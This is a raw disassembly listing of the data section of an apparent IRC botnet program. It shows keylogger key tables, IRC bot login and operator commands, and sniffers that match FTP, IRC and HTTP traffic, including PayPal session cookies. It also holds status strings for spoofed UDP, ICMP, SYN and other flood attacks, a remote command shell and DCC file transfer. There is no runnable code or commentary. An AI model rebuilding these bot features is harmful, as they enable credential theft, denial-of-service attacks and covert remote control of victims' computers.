		dd 8
dword_43869C	dd 62h,	62000000h, 2 dup(0)		dd 0Dh,	65h, 65000000h,	2 dup(0)
		dd 1Bh,	4353455Bh, 5B00005Dh, 5D435345h, 0
		dd 70h,	5D31465Bh, 5B000000h, 5D3146h, 0
		dd 71h,	5D32465Bh, 5B000000h, 5D3246h, 0
		dd 72h,	5D33465Bh, 5B000000h, 5D3346h, 0
		dd 73h,	5D34465Bh, 5B000000h, 5D3446h, 0
		dd 74h,	5D35465Bh, 5B000000h, 5D3546h, 0
		dd 75h,	5D36465Bh, 5B000000h, 5D3646h, 0
		dd 76h,	5D37465Bh, 5B000000h, 5D3746h, 0
		dd 77h,	5D38465Bh, 5B000000h, 5D3846h, 0
		dd 78h,	5D39465Bh, 5B000000h, 5D3946h, 0
		dd 79h,	3031465Bh, 5B00005Dh, 5D303146h, 0
		dd 7Ah,	3131465Bh, 5B00005Dh, 5D313146h, 0
		dd 7Bh,	3231465Bh, 5B00005Dh, 5D323146h, 0
		dd 0C0h, 60h, 7E000000h, 2 dup(0)
		dd 2 dup(31h), 21000000h, 2 dup(0)
		dd 2 dup(32h), 40000000h, 2 dup(0)
		dd 2 dup(33h), 23000000h, 2 dup(0)
		dd 2 dup(34h), 24000000h, 2 dup(0)
		dd 2 dup(35h), 25000000h, 2 dup(0)
		dd 2 dup(36h), 5E000000h, 2 dup(0)
		dd 2 dup(37h), 26000000h, 2 dup(0)
		dd 2 dup(38h), 2A000000h, 2 dup(0)
		dd 2 dup(39h), 28000000h, 2 dup(0)
		dd 2 dup(30h), 29000000h, 2 dup(0)
		dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
		dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
		dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
		dd 51h,	71h, 51000000h,	2 dup(0)
		dd 57h,	77h, 57000000h,	2 dup(0)
		dd 45h,	65h, 45000000h,	2 dup(0)
		dd 52h,	72h, 52000000h,	2 dup(0)
		dd 54h,	74h, 54000000h,	2 dup(0)
		dd 59h,	79h, 59000000h,	2 dup(0)
		dd 55h,	75h, 55000000h,	2 dup(0)
		dd 49h,	69h, 49000000h,	2 dup(0)
		dd 4Fh,	6Fh, 4F000000h,	2 dup(0)
		dd 50h,	70h, 50000000h,	2 dup(0)
		dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
		dd 0DDh, 0
		dd 7D000000h, 2	dup(0)
		dd 41h,	61h, 41000000h,	2 dup(0)
		dd 53h,	73h, 53000000h,	2 dup(0)
		dd 44h,	64h, 44000000h,	2 dup(0)
		dd 46h,	66h, 46000000h,	2 dup(0)
		dd 47h,	67h, 47000000h,	2 dup(0)
		dd 48h,	68h, 48000000h,	2 dup(0)
		dd 4Ah,	6Ah, 4A000000h,	2 dup(0)
		dd 4Bh,	6Bh, 4B000000h,	2 dup(0)
		dd 4Ch,	6Ch, 4C000000h,	2 dup(0)
		dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
		dd 0DEh, 27h, 22000000h, 2 dup(0)
		dd 5Ah,	7Ah, 5A000000h,	2 dup(0)
		dd 58h,	78h, 58000000h,	2 dup(0)
		dd 43h,	63h, 43000000h,	2 dup(0)
		dd 56h,	76h, 56000000h,	2 dup(0)
		dd 42h,	62h, 42000000h,	2 dup(0)
		dd 4Eh,	6Eh, 4E000000h,	2 dup(0)
		dd 4Dh,	6Dh, 4D000000h,	2 dup(0)
		dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
		dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
		dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
		dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
		dd 11h,	5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
		dd 5B00005Dh, 5D4E4957h, 0
		dd 2 dup(20h), 20000000h, 2 dup(0)
		dd 5Ch,	4E49575Bh, 5B00005Dh, 5D4E4957h, 0
		dd 2Ch,	5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
		dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
		dd 5D534E49h, 0
		dd 24h,	4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
		dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
		dd 5D4C4544h, 0
		dd 23h,	444E455Bh, 5B00005Dh, 5D444E45h, 0
		dd 22h,	4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
		dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
		dd 5D5055h, 0
		dd 27h,	4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
		dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
		dd 4B4C4D4Eh, 5Dh, 6Fh,	2Fh, 2F000000h,	2 dup(0)
		dd 6Ah,	2Ah, 2A000000h,	2 dup(0)
		dd 6Dh,	2Dh, 2D000000h,	2 dup(0)
		dd 6Bh,	2Bh, 2B000000h,	2 dup(0)
		dd 60h,	30h, 30000000h,	2 dup(0)
		dd 61h,	31h, 31000000h,	2 dup(0)
		dd 62h,	32h, 32000000h,	2 dup(0)
		dd 63h,	33h, 33000000h,	2 dup(0)
		dd 64h,	34h, 34000000h,	2 dup(0)
		dd 65h,	35h, 35000000h,	2 dup(0)
		dd 66h,	36h, 36000000h,	2 dup(0)
		dd 67h,	37h, 37000000h,	2 dup(0)
		dd 68h
dword_438DCC	dd 38h,	38000000h, 2 dup(0)		dd 69h,	39h, 39000000h,	2 dup(0)
		dd 6Eh,	2Eh, 2E000000h,	2 dup(0)
dword_438E04	dd 28207325h, 297325h					; sub_41B0A1+EBo
a__S_l_ReturnS	db '..%s.. (Return) (%s)',0 ; DATA XREF: sub_412911+3EEo
		align 4
a__S_l_Return	db '..%s.. (Return)',0 ; DATA XREF: sub_412911+3DCo
		align 4
a__S_l_Buffer_0	db '..%s.. (Buffer full) (%s)',0 ; DATA XREF: sub_412911+397o
a__S_l_BufferFu	db '..%s.. (Buffer full)',0 ; DATA XREF: sub_412911+376o
		align 4
a__S_l_ChangedW	db '..%s.. (Changed Windows: %s)',0 ; DATA XREF: sub_412911+17Bo
		align 4
a__S_l_		db '..%s..',0         ; DATA XREF: sub_412911+B9o
					; sub_412911+145o ...
		align 4
off_438E98	dd offset dword_439710	; DATA XREF: sub_412DBF+2B5r
		dd offset off_43970C
		dd offset aFtp		; "FTP"
		dd offset aHttp_0	; "HTTP"
dword_438EA8	dd 6F6C2E3Ah, 6E6967h, 3 dup(0)dword_438EBC	dd 0				dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C213Ah, 6E6967h, 4 dup(0)
		dd 6F6C403Ah, 6E6967h, 4 dup(0)
		dd 6F6C243Ah, 6E6967h, 4 dup(0)
		dd 6F6C253Ah, 6E6967h, 4 dup(0)
		dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C263Ah, 6E6967h, 4 dup(0)
		dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C273Ah, 6E6967h, 4 dup(0)
		dd 6F6C603Ah, 6E6967h, 4 dup(0)
		dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C203Ah, 6E6967h, 4 dup(0)
		dd 75612E3Ah, 6874h, 4 dup(0)
		dd 75612C3Ah, 6874h, 4 dup(0)
		dd 7561213Ah, 6874h, 4 dup(0)
		dd 7561403Ah, 6874h, 4 dup(0)
		dd 7561243Ah, 6874h, 4 dup(0)
		dd 7561253Ah, 6874h, 4 dup(0)
		dd 75615E3Ah, 6874h, 4 dup(0)
		dd 7561263Ah, 6874h, 4 dup(0)
		dd 75612A3Ah, 6874h, 4 dup(0)
		dd 75612D3Ah, 6874h, 4 dup(0)
		dd 75612B3Ah, 6874h, 4 dup(0)
		dd 75612F3Ah, 6874h, 4 dup(0)
		dd 75615C3Ah, 6874h, 4 dup(0)
		dd 75613D3Ah, 6874h, 4 dup(0)
		dd 75613F3Ah, 6874h, 4 dup(0)
		dd 7561273Ah, 6874h, 4 dup(0)
		dd 7561603Ah, 6874h, 4 dup(0)
		dd 75617E3Ah, 6874h, 4 dup(0)
		dd 7561203Ah, 6874h, 4 dup(0)
		dd 64692E3Ah, 5	dup(0)
		dd 64692C3Ah, 5	dup(0)
		dd 6469213Ah, 5	dup(0)
		dd 6469403Ah, 5	dup(0)
		dd 6469243Ah, 5	dup(0)
		dd 6469253Ah, 5	dup(0)
		dd 64695E3Ah, 5	dup(0)
		dd 6469263Ah, 5	dup(0)
		dd 64692A3Ah, 5	dup(0)
		dd 64692D3Ah, 5	dup(0)
		dd 64692B3Ah, 5	dup(0)
		dd 64692F3Ah, 5	dup(0)
		dd 64695C3Ah, 5	dup(0)
		dd 64693D3Ah, 5	dup(0)
		dd 64693F3Ah, 5	dup(0)
		dd 6469273Ah, 5	dup(0)
		dd 6469603Ah, 5	dup(0)
		dd 64697E3Ah, 5	dup(0)
		dd 6469203Ah, 5	dup(0)
		dd 61682E3Ah, 6E696873h, 4 dup(0)
		dd 6168213Ah, 6E696873h, 4 dup(0)
		dd 6168243Ah, 6E696873h, 4 dup(0)
		dd 6168253Ah, 6E696873h, 4 dup(0)
		dd 65732E3Ah, 65727563h, 4 dup(0)
		dd 6573213Ah, 65727563h, 4 dup(0)
		dd 6C2E3Ah, 5 dup(0)
		dd 6C213Ah, 5 dup(0)
		dd 6C243Ah, 5 dup(0)
		dd 6C253Ah, 5 dup(0)
		dd 782E3Ah, 5 dup(0)
		dd 78213Ah, 5 dup(0)
		dd 78243Ah, 5 dup(0)
		dd 78253Ah, 5 dup(0)
		dd 79732E3Ah, 6Eh, 4 dup(0)
		dd 7973213Ah, 6Eh, 4 dup(0)
		dd 7973243Ah, 6Eh, 4 dup(0)
		dd 7973253Ah, 6Eh, 4 dup(0)
		dd 4B444320h, 207965h, 4 dup(0)
		dd 4E494F4Ah, 2320h, 3 dup(0)
		dd 1, 4B43494Eh, 20h, 3	dup(0)
		dd 1, 5245504Fh, 20h, 3	dup(0)
		dd 1, 7265706Fh, 20h, 3	dup(0)
		dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
		dd 1, 52455355h, 20h, 3	dup(0)
		dd 2, 53534150h, 20h, 3	dup(0)
		dd 2, 70796170h, 6C61h,	3 dup(0)
		dd 3, 50594150h, 4C41h,	3 dup(0)
		dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
		dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
		dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
		dd 3, 6	dup(0)
aHttp_0		db 'HTTP',0             ; DATA XREF: .XPack0:00438EA4o
		align 4
aFtp		db 'FTP',0              ; DATA XREF: .XPack0:00438EA0o
off_43970C	dd offset dword_435244+5 ; DATA	XREF: .XPack0:00438E9Co
dword_439710	dd 544F42h	dword_439714	dd 234032Dh, 696E7370h,	3026666haRecvFailedRetu	db '- recv() failed, returned %d',0
		align 10h
dword_439740	dd 234032Dh, 696E7370h,	3026666haSuspiciousSPac	db '- suspicious %s packet from: %s:%d - %s',0
dword_439774	dd 234032Dh, 696E7370h,	3026666h, 2Dhdword_439784	dd 4E53505Bh, 5D464649h, 0dword_439790	dd 234032Dh, 696E7370h,	3026666haWsaioctlFailed	db '- WSAIoctl() failed, returned %d',0
		align 10h
dword_4397C0	dd 234032Dh, 696E7370h,	3026666haBindFailedRetu	db '- bind() failed, returned %d',0
		align 4
dword_4397EC	dd 234032Dh, 696E7370h,	3026666haSocketFailedRe	db '- socket() failed, returned %d',0
		align 4
aHashin		db ':!hashin',0         ; DATA XREF: sub_413144+103o
		align 4
a_hashin	db ':.hashin',0         ; DATA XREF: sub_413144+EEo
		align 10h
aIdent_0	db ':!ident',0          ; DATA XREF: sub_413144+D9o
a_ident		db ':.ident',0          ; DATA XREF: sub_413144+C8o
a_login		db ':.Login',0          ; DATA XREF: sub_413144+B7o
aLogin_0	db ':!Login',0          ; DATA XREF: sub_413144+A6o
aLogin_1	db ':!login',0          ; DATA XREF: sub_413144+95o
a_login_0	db ':.login',0          ; DATA XREF: sub_413144+84o
a366		db '366 ',0             ; DATA XREF: sub_413144+73o
		align 4
a302_0		db '302 ',0             ; DATA XREF: sub_413144:loc_4131A6o
		align 10h
aJoin_0		db 'JOIN #',0           ; DATA XREF: sub_413144+4Do
		align 4
aPsniff_0	db 'PSNIFF//',0         ; DATA XREF: sub_413144+3Co
		align 4
aPsniff_1	db '[PSNIFF]:',0        ; DATA XREF: sub_413144+2Bo
		align 10h
aBotSniff	db 'Bot sniff',0        ; DATA XREF: sub_413144+5o
		align 4
aYouAreNowAnIrc	db 'You are now an IRC Operator',0 ; DATA XREF: sub_41325B+62o
aOper		db 'oper ',0            ; DATA XREF: sub_41325B+51o
		align 10h
aNick_1		db 'NICK ',0            ; DATA XREF: sub_41325B:loc_41329Bo
					; sub_4132D1+2Bo
		align 4
aOper_0		db 'OPER ',0            ; DATA XREF: sub_41325B+2Bo
		align 10h
aIrcSniff	db 'IRC sniff',0        ; DATA XREF: sub_41325B+5o
		align 4
aPass_1		db 'PASS ',0            ; DATA XREF: sub_4132D1+73o
		align 4
aUser_3		db 'USER ',0            ; DATA XREF: sub_4132D1+62o
		align 4
a230		db '230 ',0             ; DATA XREF: sub_4132D1:loc_413322o
		align 4
a220		db '220 ',0             ; DATA XREF: sub_4132D1+3Co
		align 4
aFtpSniff	db 'FTP sniff',0        ; DATA XREF: sub_4132D1+5o
		align 4
aSetCookie	db 'Set-Cookie:',0      ; DATA XREF: sub_413358+73o
aPaypal_com	db 'paypal.com',0       ; DATA XREF: sub_413358+62o
		align 10h
aPaypal_com_0	db 'PAYPAL.COM',0       ; DATA XREF: sub_413358+51o
		align 4
aPaypal_0	db 'PAYPAL',0           ; DATA XREF: sub_413358:loc_413398o
		align 4
aPaypal		db 'paypal',0           ; DATA XREF: sub_413358+2Bo
		align 4
aHttpSniff	db 'HTTP sniff',0       ; DATA XREF: sub_413358+5o
		align 4
aOpenssh_2	db 'OpenSSH_2',0        ; DATA XREF: sub_4133DF+51o
		align 4
aServUFtpServer	db 'Serv-U FTP Server',0 ; DATA XREF: sub_4133DF:loc_41341Fo
		align 4
aOpenssl0_9_6	db 'OpenSSL/0.9.6',0    ; DATA XREF: sub_4133DF+2Bo
		align 4
aVulnSniff	db 'VULN sniff',0       ; DATA XREF: sub_4133DF+5o
		align 4
unk_439984	db  2Dh	; -		; DATA XREF: sub_413444+3D6o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVulnSniffSDToS	db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_4399BC	db  2Dh	; -		; DATA XREF: sub_413444+36Ao
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aHttpSniffSDToS	db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_4399F4	db  2Dh	; -		; DATA XREF: sub_413444+337o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFtpSniffSDToSD	db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0
unk_439A28	db  2Dh	; -		; DATA XREF: sub_413444+30Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aIrcSniffSDToSD	db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0
unk_439A5C	db  2Dh	; -		; DATA XREF: sub_413444+2DCo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBotSniffSDToSD	db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0
unk_439A90	db  2Dh	; -		; DATA XREF: sub_413444+14Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aWsaioctlFail_0	db '- WSAIoctl() failed, returned %d',0
		align 10h
unk_439AC0	db  2Dh	; -		; DATA XREF: sub_413444+C5o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBindFailedRe_0	db '- bind() failed, returned %d',0
		align 4
unk_439AEC	db  2Dh	; -		; DATA XREF: sub_413821+5Bo
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodA	db 'done with flood at %iKB/sec',0
dword_439B14	dd 234032Dh, 736F6464h,	202D0302h, 646E6573h, 72726520h
					; DATA XREF: sub_4138D3+31Ao
		dd 203A726Fh, 6425h
unk_439B30	db  2Dh	; -		; DATA XREF: sub_413C65+390o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aErrorSendingPa	db 'error sending packets to %s. %d packets sent, returned %d',0
		align 4
unk_439B78	db  2Dh	; -		; DATA XREF: sub_413C65+326o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aDoneWithSFlood	db 'done with %s flood to %s. sent %d packets @ %dKB/sec (%dMB).',0
		align 4
unk_439BC4	db  2Dh	; -		; DATA XREF: sub_413C65+12Ao
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aInvalidTargetI	db 'invalid target ip',0
		align 4
unk_439BE4	db  2Dh	; -		; DATA XREF: sub_413C65+C2o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aSetsockoptFail	db 'setsockopt() failed, returned %d',0
		align 4
unk_439C14	db  2Dh	; -		; DATA XREF: sub_413C65+49o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aSocketFailed_0	db 'socket() failed, returned %d',0
		align 10h
unk_439C40	db  2Dh	; -		; DATA XREF: sub_414050+13Co
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aFinishedSendin	db 'finished sending pings to %s',0
		align 4
unk_439C6C	db  2Dh	; -		; DATA XREF: sub_414050+6Eo
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aErrorSendingPi	db 'error sending pings to %s',0
		align 4
unk_439C94	db  2Dh	; -		; DATA XREF: sub_4141DC+1C7o
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aFinishedSend_0	db '- finished sending packets to %s',0
		align 10h
unk_439CC0	db  2Dh	; -		; DATA XREF: sub_4141DC+8Eo
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aErrorSending_0	db '- error sending packets to %s',0
		align 4
dword_439CE8	dd 234032Dh, 73796B73h,	3026E79haDoneWithFloodI	db '- Done with flood (%iKB/sec)',0
		align 4
unk_439D14	db  2Dh	; -		; DATA XREF: sub_41458C+48o
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aDoneWithFloo_0	db '- Done with flood (%iKB/sec).',0
		align 4
unk_439D3C	db  2Dh	; -		; DATA XREF: sub_414628+295o
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aSendErrorD_	db '- Send error: <%d>.',0
		align 4
dword_439D5C	dd 234032Dh, 67726174h,	3023361haDoneWithFlood_	db '- Done with flood.',0
		align 10h
unk_439D80	db  2Dh	; -		; DATA XREF: sub_414BED+4E4o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aErrorSending_1	db '- Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
		db 'd>.',0
		align 10h
unk_439DD0	db  2Dh	; -		; DATA XREF: sub_414BED+471o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aDoneWithSFlo_0	db '- Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
		db 'MB).',0
		align 10h
unk_439E20	db  2Dh	; -		; DATA XREF: sub_414BED+15Fo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidTarge_0	db '- Invalid target IP.',0
		align 10h
unk_439E40	db  2Dh	; -		; DATA XREF: sub_414BED+EEo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aErrorSetsockop	db '- Error: setsockopt() failed, returned: <%d>.',0
		align 4
unk_439E78	db  2Dh	; -		; DATA XREF: sub_414BED+70o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aErrorSocketFai	db '- Error: socket() failed, returned: <%d>.',0
		align 4
unk_439EAC	db  2Dh	; -		; DATA XREF: sub_415189+60o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aDoneWithFloodD	db '- Done with flood, %d packets sent.',0
		align 10h
unk_439EE0	db  2Dh	; -		; DATA XREF: sub_415478+47o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aStartingWisdom	db '- Starting Wisdom spoofed UDP flood thread.',0
		align 10h
unk_439F20	db  2Dh	; -		; DATA XREF: sub_4154EE+348o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorSending_2	db '- Error sending packets to %s. eax=SOCKET_ERROR, WSAGetLastError('
		db ')=%d. sizeof(buffer) = %d. Packets sent sucessfully = %d.',0
		align 10h
unk_439FB0	db  2Dh	; -		; DATA XREF: sub_4154EE+2F6o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aFinishedSend_1	db '- Finished sending packets to %s. Sent %d packet(s). ~%dMB of dat'
		db 'a sent (~%dK/s).',0
		align 4
unk_43A014	db  2Dh	; -		; DATA XREF: sub_4154EE+CCo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aSendingPackets	db '- Sending packets to %s...',0
unk_43A040	db  2Dh	; -		; DATA XREF: sub_4154EE+80o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aInvalidTarge_1	db '- Invalid target IP. WSAGetLastError() returns %d.',0
		align 8
unk_43A088	db  2Dh	; -		; DATA XREF: sub_4154EE+63o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorCallingSe	db '- Error calling setsockopt(). WSAGetLastError() returns %d.',0
		align 4
unk_43A0D8	db  2Dh	; -		; DATA XREF: sub_4154EE+2Ao
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorCallingSo	db '- Error calling socket().',0
		align 4
unk_43A104	db  2Dh	; -		; DATA XREF: sub_415846+5Do
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodP	db 'Done with flood, ports hit: %s',0
		align 10h
aSD		db '%s%d ',0            ; DATA XREF: sub_4159E0+1F1o
		align 4
dword_43A138	dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3dword_43A14C	dd 234032Dh, 61696C61h,	696C2073h, 3027473h, 2Dha_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_415F45+60o
		align 4
dword_43A184	dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
					; DATA XREF: sub_415FE5:loc_41601Ao
dword_43A198	dd 35310302h, 25B302Ch,	91313003h, 6C343003h, 67026F02h
					; DATA XREF: sub_415FE5+20o
		dd 2C313003h, 3A343103h, 2203103h, 656C0243h, 64657261h
		dd 0
dword_43A1C4	dd 35310302h, 25B302Ch,	91313003h, 6C343003h, 67026F02h
					; DATA XREF: sub_416058+DCo
		dd 2C313003h, 3A343103h, 6C203103h, 20747369h, 6F024302h
		dd 656C706Dh, 6574h
dword_43A1F4	dd 35310302h, 25B302Ch,	91313003h, 6C343003h, 67026F02h
					; DATA XREF: sub_416058+3Fo
		dd 2C313003h, 3A343103h, 6C203103h, 20747369h, 74025302h
		dd 69747261h, 676Eh
unk_43A224	db  2Dh	; -		; DATA XREF: sub_41620D+170o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSendTo	db '- failed to send to Remote command shell',0
		align 4
unk_43A258	db  2Dh	; -		; DATA XREF: sub_41620D+ABo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenRe	db '- failed to open remote command shell',0
		align 4
unk_43A288	db  2Dh	; -		; DATA XREF: sub_41620D+47o
					; sub_4163CE+FDo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenSo	db '- failed to open socket',0
		align 4
dword_43A2AC	dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
					; DATA XREF: sub_4163CE+362o
					; sub_416770+156o
		dd 726F72h
unk_43A2C4	db  2Dh	; -		; DATA XREF: sub_4163CE+2FAo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileSSentToSSB	db '- file %s sent to %s (%s bytes).',0
		align 10h
unk_43A2F0	db  2Dh	; -		; DATA XREF: sub_4163CE+202o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aUnableToOpenSo	db '- unable to open socket',0
		align 4
dword_43A314	dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h
					; DATA XREF: sub_4163CE+1CBo
		dd 74756Fh
dword_43A32C	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: sub_4163CE+16Ao
		dd 169h
unk_43A344	db  2Dh	; -		; DATA XREF: sub_4163CE+127o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileDoesnTExis	db '- file doesn',27h,'t exist',0
		align 4
unk_43A364	db  2Dh	; -		; DATA XREF: sub_4163CE+82o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToBindTo	db '- failed to bind to socket',0
unk_43A388	db  2Dh	; -		; DATA XREF: sub_4163CE+44o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToCrea_2	db '- failed to create socket',0
		align 4
unk_43A3AC	db  2Dh	; -		; DATA XREF: sub_416770+1CFo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceivedSFromS	db '- received %s from %s (%s bytes).',0
		align 4
unk_43A3D8	db  2Dh	; -		; DATA XREF: sub_416770+CBo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningSo	db '- error opening socket',0
unk_43A3F8	db  2Dh	; -		; DATA XREF: sub_416770+ABo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningFi	db '- error opening file for writing',0
		align 4
aAB		db 'a+b',0              ; DATA XREF: sub_416770+97o
unk_43A428	db  2Dh	; -		; DATA XREF: sub_416770+83o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorUnableToW	db '- error unable to write file to disk',0
		align 4
dword_43A458	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 26F0244h
					; DATA XREF: sub_4169AB+480o
		dd 26E0277h, 26F026Ch, 2640261h, 31300302h, 3531032Ch
		dd 2034033Ah, 61024202h, 2552064h, 204C0252h, 272024Fh
		dd 2440220h, 220736Eh, 2720245h, 726F0272h, 3746120h, 73252031h
		dd 2Eh
dword_43A4B0	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 26F0244h
					; DATA XREF: sub_4169AB+472o
		dd 26E0277h, 26F026Ch, 2640261h, 31300302h, 3531032Ch
		dd 2034033Ah, 70025502h, 2610264h, 2206574h, 69610246h
		dd 65026C02h, 2202C64h,	2720245h, 726F0272h, 2450220h
		dd 63026578h, 69747502h, 67026E02h, 25203103h, 73h, 0
dword_43A518	dd 35310302h, 25B302Ch,	91343003h, 2313003h, 26F0244h
					; DATA XREF: sub_4169AB+3B6o
		dd 26E0277h, 26F026Ch, 2640261h, 34300302h, 3531032Ch
